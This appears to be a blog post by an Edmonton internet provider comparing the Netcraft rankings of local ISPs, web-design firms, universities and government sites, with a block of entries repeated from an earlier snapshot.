airsurfer.ca is now part of Tera-Byte Wireless. One of their clients nexopia

local Edmonton Social MEdia Site is ranked ???? from 207514. Very Interesting!

Another of their customers The Alberta Liberals

at 264767 from 267183.

One of Tera-Byte's acquisitions

Edmonton Community Networks

ranks at 281986 from 293318 and

Go Edmonton ranks 276018 from 287037.

Reviews of Tera-byte is available at

here

and another here



Carbon 14





Carbon 14 Graphic Art and Web Design

ranks 284455 from 287203 on Netcraft and note they are connected to Interspots.

BTW Illusions Photographics wants a word with you!



MediaShaker





Media Shakers of Edmonton

ranks 289043 from 291667.



Emergence by Design





Emergence by Design

now ranks 290420 from 293012.



Koi Media





Koi Media

rank 291548 from 294101



Leduc Data





Leduc Data

ranks 292048 from 294639





InterSpots





Interspots of Edmonton

rank 292420 from 295008;

a customer of theirs conboland.com

ranks 292428 from 295017 .

Another customer the Progressive Conservative Party of Alberta

ranks 285006 from 287703 .



Core Network Solutions Inc.





Core Network Solutions Inc.

ranks at 292642 from 295227.



The Network Centre





The Network Centre

ranks 292693 from 295285.



Internet Crossroads





Internet Crossroads Ltd of North Edmonton

rank nothing from nothing by Netcraft and seems to merged with Tera-Byte/ecn.ab.ca .



If I remember anymore, I will add to this entry, before Netcraft changes

our ranking. Please watch this space and please feel free to peruse

our services.

NetKnow now in Netcraft's Top 16150

All data is from Netcraft Toolbar . Looks as if there are major changes to the NEtcraft algorithm!



NetKnow







Netknow now ranks 16661 at Netcraft.




A significant increase!



Some of our others domains and services ranks as follows:



NetKnow Secure Server

ranks 103450 from 102622 on Netcraft.

NetKnow's secondary server

ranks at 157582 from 159016 last week on Netcraft.

NetKnow's Anonynous FTP server

is at 295319 from 307500 and non-anonymous rank 263243 from 272967.

www.nl2k.ab.ca

ranks 278419 from 280928 on Netcraft.

edmontonab.ca

ranks 286813 from 298348 .

internetedmonton.ca

ranks at 295318 from 298096 .

edmontoninternetserviceprovider.ca

is at 295558 from 298337 .





How do we compare with other providers in

Edmonton
, Alberta, Canada?



Telus and reviews





Next we have Telus.com

ranked by Netcraft at 38835 from 39016 with Telus.net

ranking 4820 from 4749 .

A customer of theirs

securityfocus.com

rank 4232 from 4251 .

Sometimes their Web Hosting is done by
title="Internet Names for Business">Internet Names for Business


is ranked by Netcraft at 238357 from 240508 .

And Edmonton Chamber of Commerce

is at 275442 from 277969 .



Is Telus's ADSL network suspectible to Code Red Attacks and Attackers?



Reviews of Telus are available :





Juno and NetZero





We have Juno Internet ranked on top

at 10875 from 10613 who are the owners of

US Based Netzero
at Netcraft Rank 15479 from 15437 .



Netknow again





We at Netknow are up 547 and up 18263 the beginning of the year 2011 from 34539 . We aim to be above 10000 by the end of September 2011 .



City of Edmonton







The City of Edmonton
ranks 35988 from 36438 by Netcraft and are now with Alentus of Edmonton.



Shaw Cable





Next, members.shaw.ca

ranks 21331 from 21192 and

Shaw Cable

is next at Netcraft rank 36353 from 39621. Briefly unavailable during high peak demand.

Their Network Hosting Arm,

Big Pipe is at

Netcraft rank 36353 from 39621.

One of customer of Shaw Avalon Global

rank 314336 from 317070.



Reviews of Shaw are available :







University of Alberta







The University of Alberta
ranks 48580 from 48870.



Xplornet





xplornet

ranks 104210 from 100749 and are listed with

Stentor.



Government of Alberta





The Government of Alberta Website

ranks 136563 from 130051 by Netcraft .



Primus





Primus

ranks 145477 from 141332 . Or

Colo Is here
ranks 286500 from 258461.



Internet Centre / CCINet





Internet Centre

rank 177900 from 163754 and using Worldgate IPs.



NAIT / Northern Alberta Institute of Technology





The Northern Alberta Institute of Technology

ranks 180224 from 181824.



Uniserve / Interbaun





Next, Uniserve

ranks on Netcraft 180765 from 176563.

One of their acquisitions

interbaun

ranks with Netcraft 180765 from 176563 due to merging of sites.

One customer just came over from this organization in Nov 2006.





Wolfpaw





Computer Engineering

ranks 270479 from 273003. Thank you Scott.

And they seem to be hosted by wolfpaw.net

which ranks at 193078 from 194705.



3Web / CIA





Next is 3 Web

which ranks 351682 from 354766 And a questionable secure certificate. Their parent company

Cybersurf

is ranked 213381 from 215207.





Alentus





Alentus

rank by Netcraft 221740 from 223629 and I note they are hosted in the USA .

One of their customers

The Alberta New Democrat Party

ranks 256336 from 258657 .



Nucleus Internet Services





After that we have



Nucleus Information Services
which can be found at

Netcraft Rank 226540 from 228588 .



WebFire





Webfire.ca

ranks 255976 from 297742 and seems to be connected with Shaw.



Radiant Communications





Radiant Communications

are ranked by Netcraft 261119 from 263442.



WSI Corporation





Next is WSI - We Simply The Internet of Toronto

at Netcraft Position 267239 from 262575



MDCi





MDCi, the company that bought out OANet.com

ranks 267283 from 269784.



TIC Internet





TIC Internet

ranks 269810 from 280189 ( I do remember you).



Grant MacEwen University





MacEwan

ranks 277153 from 279613.



Wiband Wireless





Wiband Wireless

rank on Netcraft at 277502 from 288451 and

their customer Found Locally

ranks at 270800 from 273345

and Memory Express

ranks 15310 from 15508 Interesting!



Nisa Custom Internet Solutions





Nisa Custom Internet Solutions

ranks 280796 from 283274 by Netcraft



Wild Rose Internet





Wild Rose Internet

ranks 284634 from 287188 and I wonder if this is another wireless branch of Tera-Byte.



Open Concept Internet, Inc.





Open Concept Internet, Inc.

rank 285682 from 288257.



Platinum Communications





Platinum Communications Corp.

ranks 286361 from 288947.



Tera Byte Edmonton and reviews





Next is Tera-Byte

at Netcraft Rank 295107 from 297905 with

Tera-Byte.ca

ranking 293257 from 295935 and their wireless arm Tera-Byte Wireless

ranks 286860 from 289476 and

airsurfer.ca is now part of Tera-Byte Wireless. One of their clients nexopia

local Edmonton Social MEdia Site is ranked 207514 from 205185. Very Interesting!

Another of their customers The Alberta Liberals

at 267183 from 269660.

One of Tera-Byte's acquisitions

Edmonton Community Networks

ranks at 293318 from 296003 and

Go Edmonton ranks 287037 from 289650.

Reviews of Tera-byte is available at

here

and another here



Carbon 14





Carbon 14 Graphic Art and Web Design

ranks 287203 from 289808 on Netcraft and note they are connected to Interspots.

BTW Illusions Photographics wants a word with you!



MediaShaker





Media Shakers of Edmonton

ranks 291667 from 294325.



Emergence by Design





Emergence by Design

now ranks 293012 from 295699.



Koi Media





Koi Media

rank 294101 from 296845



Leduc Data





Leduc Data

ranks 294639 from 297358





InterSpots





Interspots of Edmonton

rank 295008 from 297794;

a customer of theirs conboland.com

ranks 295017 from 297805 .

Another customer the Progressive Conservative Party of Alberta

ranks 287703 from 290288 .



Core Network Solutions Inc.





Core Network Solutions Inc.

ranks at 295227 from 298025.



The Network Centre





The Network Centre

ranks 295285 from 307480.



Internet Crossroads





Internet Crossroads Ltd of North Edmonton

rank nothing from nothing by Netcraft and seems to merged with Tera-Byte/ecn.ab.ca .



If I remember anymore, I will add to this entry, before Netcraft changes

our ranking. Please watch this space and please feel free to peruse

our services.